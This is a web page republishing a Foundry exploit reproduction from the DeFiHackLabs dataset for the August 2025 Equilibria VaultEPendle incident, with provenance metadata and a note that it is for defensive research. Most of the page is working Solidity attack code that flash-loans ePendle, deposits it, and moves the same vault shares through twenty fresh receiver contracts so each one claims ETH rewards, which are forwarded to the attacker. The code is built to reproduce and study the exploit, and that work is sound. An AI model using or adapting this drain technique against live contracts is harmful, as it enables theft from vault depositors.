Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/EquilibriaEPendle_exp.sol

Public reproduction file for dataset entry EquilibriaEPendle.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/EquilibriaEPendle_exp.sol208 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 62,661.57 USD
8// Attacker : 0x4DCCc719f277eBeB8F7fdB68cD4b105E5bC325db
9// Attack Contract : 0x0A2d023b1EcFbFb091464ADEbc852e19E0F02E6b
10// Vulnerable Contract : 0x615b0B54e585ab83ba1c94a734cd4499dEc1C956
11// Attack Tx : https://etherscan.io/tx/0x185a16017fb4d9b2fefdf5935435253d53d4758238275426b507fe54eb4fe97a
12// Related Tx : https://etherscan.io/tx/0xc16984edf1ac3e50f1a10842310c7ab3983ab0d1f9f5eb6fb859a59e416048f8
13// Related Tx : https://etherscan.io/tx/0x0a60d7fb1d459ebee1ddcd62d1a8fcb8faa9aa1ebbb3203f90bea7dd888af8aa
14//
15// @Info
16// Vulnerable Contract Code : https://etherscan.io/address/0x615b0B54e585ab83ba1c94a734cd4499dEc1C956#code
17//
18// @Analysis
19// Twitter Guy : https://t.me/defimon_alerts/1712
20//
21// Attack summary: The attacker flash-loaned ePendle, deposited it into VaultEPendle, and repeatedly moved the same
22// stk-ePendle shares into fresh receiver contracts. Each fresh receiver claimed historical native-token rewards and
23// forwarded the ETH to the attacker before the shares were pulled back.
24// Root cause: VaultEPendle did not update reward debt on ERC20 share transfers, and public getReward(address)
25// recomputed rewards for arbitrary fresh receiver accounts.
27address constant ATTACKER = 0x4DCCc719f277eBeB8F7fdB68cD4b105E5bC325db;
28address constant ATTACK_CONTRACT = 0x0A2d023b1EcFbFb091464ADEbc852e19E0F02E6b;
29address constant VAULT_EPENDLE_PROXY = 0xd30d6fD662c0d92B49F3C3E478e125BA1D968059;
30address constant VAULT_EPENDLE_IMPLEMENTATION = 0x615b0B54e585ab83ba1c94a734cd4499dEc1C956;
31address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
32address payable constant WETH_TOKEN = payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
33address constant PENDLE = 0x808507121B80c02388fAd14726482e061B8da827;
34address constant EPENDLE = 0x22Fc5A29bd3d6CCe19a06f844019fd506fCe4455;
35address constant EQB = 0xfE80D611c6403f70e5B1b9B722D2B3510B740B2B;
36address constant XEQB = 0xd6eCfD0d5f1Dfd3ad30f267a3a29b3E1bC4fd54f;
37address constant EPENDLE_DEPOSITOR = 0xa94603c910A95e0cC5a70b84558e21E711342D63;
39bytes32 constant WETH_PENDLE_POOL_ID = 0xfd1cf6fd41f229ca86ada0584c63c49c3d66bbc9000200000000000000000438;
41interface IEquilibriaVault is IERC20 {
42 function depositAll() external returns (uint256);
43 function withdrawAll() external returns (uint256);
44 function getReward(
45 address account
46 ) external;
47 function harvest() external;
50interface IEPendleDepositor {
51 function deposit(
52 uint256 amount
53 ) external returns (uint256);
56interface IBalancerFlashLoanRecipient {
57 function receiveFlashLoan(
58 address[] memory tokens,
59 uint256[] memory amounts,
60 uint256[] memory feeAmounts,
61 bytes memory userData
62 ) external;
65contract ContractTest is BaseTestWithBalanceLog {
66 function setUp() public {
67 uint256 forkBlock = 23_203_451;
68 vm.createSelectFork("mainnet", forkBlock);
70 attacker = ATTACKER;
71 fundingToken = address(0);
73 vm.label(ATTACKER, "Attacker");
74 vm.label(ATTACK_CONTRACT, "Historical Attack Executor");
75 vm.label(VAULT_EPENDLE_PROXY, "VaultEPendle Proxy");
76 vm.label(VAULT_EPENDLE_IMPLEMENTATION, "VaultEPendle Implementation");
77 vm.label(BALANCER_VAULT, "Balancer Vault");
78 vm.label(EPENDLE, "ePendle");
79 vm.label(VAULT_EPENDLE_PROXY, "stk-ePendle");
80 vm.label(EQB, "EQB");
81 vm.label(XEQB, "xEQB");
82 }
84 function testExploit() public balanceLog {
85 vm.deal(ATTACKER, 0.01 ether);
86 uint256 attackerEthBefore = ATTACKER.balance;
87 uint256 vaultEthBefore = VAULT_EPENDLE_PROXY.balance;
89 // step 1: deploy a local executor with the same ETH seed used by the initcode transaction.
90 vm.startPrank(ATTACKER);
91 EquilibriaEPendleAttacker localAttack = new EquilibriaEPendleAttacker{value: 0.01 ether}(payable(ATTACKER));
92 vm.label(address(localAttack), "Local Attack Executor");
94 // step 2: seed ePendle, enter VaultEPendle, cycle fresh reward receivers, and repay Balancer.
95 localAttack.execute();
96 vm.stopPrank();
98 // step 3: prove the repeated native reward claim drained the vault to the attacker's receiver.
99 uint256 attackerEthProfit = ATTACKER.balance - attackerEthBefore;
100 assertGt(attackerEthProfit, 13 ether, "native ETH profit");
101 assertLt(VAULT_EPENDLE_PROXY.balance, vaultEthBefore - 13 ether, "vault native ETH not drained");
102 }
105contract EquilibriaEPendleAttacker is IBalancerFlashLoanRecipient {
106 address payable private immutable profitReceiver;
108 constructor(
109 address payable profitReceiver_
110 ) payable {
111 profitReceiver = profitReceiver_;
112 }
114 receive() external payable {}
116 function execute() external {
117 // step 1: convert the small ETH seed into PENDLE and deposit it as ePendle.
118 uint256 seedEth = address(this).balance;
119 IWETH(WETH_TOKEN).deposit{value: seedEth}();
120 IERC20(WETH_TOKEN).approve(BALANCER_VAULT, seedEth);
122 uint256 pendleOut = _balancerSwap(WETH_TOKEN, PENDLE, seedEth);
123 IERC20(PENDLE).approve(EPENDLE_DEPOSITOR, pendleOut);
124 IEPendleDepositor(EPENDLE_DEPOSITOR).deposit(pendleOut);
126 // step 2: harvest once so VaultEPendle holds the native rewards that will be repeatedly claimed.
127 IEquilibriaVault(VAULT_EPENDLE_PROXY).harvest();
129 // step 3: borrow the Balancer ePendle liquidity used to mint a large stk-ePendle share balance.
130 address[] memory tokens = new address[](1);
131 tokens[0] = EPENDLE;
132 uint256[] memory amounts = new uint256[](1);
133 amounts[0] = IERC20(EPENDLE).balanceOf(BALANCER_VAULT);
134 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
135 }
137 function receiveFlashLoan(
138 address[] memory tokens,
139 uint256[] memory amounts,
140 uint256[] memory feeAmounts,
141 bytes memory
142 ) external {
143 require(msg.sender == BALANCER_VAULT, "not balancer");
144 require(tokens.length == 1 && tokens[0] == EPENDLE, "unexpected flash loan");
146 // step 4: deposit all ePendle and derive the trace's repeated share amount from this contract's balance.
147 IERC20(EPENDLE).approve(VAULT_EPENDLE_PROXY, type(uint256).max);
148 IEquilibriaVault(VAULT_EPENDLE_PROXY).depositAll();
149 uint256 shareAmount = IERC20(VAULT_EPENDLE_PROXY).balanceOf(address(this));
151 // step 5: each fresh receiver has zero reward debt, so the same transferred shares can claim again.
152 for (uint256 i = 0; i < 20; i++) {
153 RewardReceiver receiver = new RewardReceiver(profitReceiver);
154 IERC20(VAULT_EPENDLE_PROXY).transfer(address(receiver), shareAmount);
155 IEquilibriaVault(VAULT_EPENDLE_PROXY).getReward(address(receiver));
156 IERC20(VAULT_EPENDLE_PROXY).transferFrom(address(receiver), address(this), shareAmount);
157 receiver.exit();
158 }
160 // step 6: withdraw ePendle and return the flash loan.
161 IEquilibriaVault(VAULT_EPENDLE_PROXY).withdrawAll();
162 IERC20(EPENDLE).transfer(BALANCER_VAULT, amounts[0] + feeAmounts[0]);
163 }
165 function _balancerSwap(
166 address tokenIn,
167 address tokenOut,
168 uint256 amountIn
169 ) private returns (uint256 amountOut) {
170 IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({
171 poolId: WETH_PENDLE_POOL_ID,
172 kind: IBalancerVault.SwapKind.GIVEN_IN,
173 assetIn: tokenIn,
174 assetOut: tokenOut,
175 amount: amountIn,
176 userData: ""
177 });
178 IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({
179 sender: address(this),
180 fromInternalBalance: false,
181 recipient: payable(address(this)),
182 toInternalBalance: false
183 });
185 amountOut = IBalancerVault(BALANCER_VAULT).swap(singleSwap, funds, 0, block.timestamp);
186 }
189contract RewardReceiver {
190 address payable private immutable profitReceiver;
192 constructor(
193 address payable profitReceiver_
194 ) {
195 profitReceiver = profitReceiver_;
196 IERC20(VAULT_EPENDLE_PROXY).approve(msg.sender, type(uint256).max);
197 }
199 receive() external payable {
200 (bool success,) = profitReceiver.call{value: msg.value}("");
201 require(success, "eth forward failed");
202 }
204 function exit() external {
205 IERC20(XEQB).transfer(VAULT_EPENDLE_PROXY, IERC20(XEQB).balanceOf(address(this)));
206 IERC20(EQB).transfer(VAULT_EPENDLE_PROXY, IERC20(EQB).balanceOf(address(this)));
207 }

Analysis

Dataset entry

Public Foundry test for “EquilibriaEPendle” (2025-08-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x4dccc719f277ebeb8f7fdb68cd4b105e5bc325db

  • Attack Contract

    0x0a2d023b1ecfbfb091464adebc852e19e0f02e6b

  • Vulnerable Contract

    0x615b0b54e585ab83ba1c94a734cd4499dec1c956

  • Attack Tx

    0x185a16017fb4d9b2fefdf5935435253d53d4758238275426b507fe54eb4fe97a

File record

Name
EquilibriaEPendle
Path
src/test/2025-08/EquilibriaEPendle_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
cc02e90ccd290a8d719fa46b12c3060805036ba4
Language
Solidity
Size
209 lines
Date
2025-08-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/EquilibriaEPendle_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cc02e90ccd290a8d719fa46b12c3060805036ba4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.